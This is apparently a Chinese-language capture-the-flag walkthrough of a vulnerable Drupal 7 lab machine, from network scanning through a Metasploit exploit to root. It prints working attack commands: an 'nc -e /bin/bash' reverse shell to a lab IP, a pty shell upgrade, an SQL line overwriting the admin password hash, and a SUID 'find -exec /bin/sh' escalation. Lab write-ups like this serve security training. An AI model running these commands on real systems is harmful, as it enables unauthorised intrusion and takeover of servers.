思路:访问80端口看到drupalcms→利用已知漏洞获取shell→(可以直接提权)→当前目录获取flag1→根据提示获取flag2得到了数据库用户名密码→登录数据库获取用drupal户名密码→登录用户获取flag3→查看/etc/passwd发现flag4用户→在flag4用户目录下发现flag4.txt→find提权获取最后一个flag
arp-scan扫描获取ip
nmap扫描获取开放端口和服务信息
直接访问80端口,指纹识别为drupal的cms而且是7.X版本
直接在msf搜索对应的exp
使用第二个,配置好options
直接run,成功获取meterpreter
反弹shell,nc反弹成功
代码语言:javascript复制nc -e /bin/bash 192.168.101.59 4444
切换到交互式shell
代码语言:javascript复制python -c 'import pty;pty.spawn("/bin/bash")'
查看当前目录,有一个flag1.txt,让我们去查看配置文件
搜索配置文件位置
查看settings.php,获取到flag2和数据库密码
翻译一下,这里没有看懂
那既然获得了数据库账户密码,而且有shell,登录一下数据库看看
成功登录数据库
查看数据库内容获得了admin用户的密码
John破解一下试试,破解了半天暂时无过
突然想到既然获取shell了尝试尝试提权
代码语言:javascript复制find / -perm -u=s -type f 2>/dev/null
可以尝试find提权
尝试了一下失败,只能去搜索wp了
这时候突然john把密码破解了出来,但是发现是我上一次更改的
还是尝试用wp的方法改一下密码
这里尝试在password-hash.sh所在目录改 失败,在上一级目录更改才成功,不知道是啥原因。
进入mysql更改密码
代码语言:javascript复制update users set pass="$S$Dml2jK1Umg2ZOoE95rgSfzUBd8mTMJlMRP98bL5bCEDPQcgmbV81" where name="admin";
成功更改密码
进入主页登录这个用户
成功找到flag3,提示应该是find提权
查看/etc/passwd,看到一个flag4用户
查看/etc/shadow无权限
查看flag4.txt
直接find提权,获取root权限
代码语言:javascript复制find sassb -exec "/bin/sh" ;
find / -type f -name sassb -exec "/bin/sh" ;(2选1)
find / -type f -name sassb -exec "/bin/bash" ;(bash)不行
在root目录下获取flag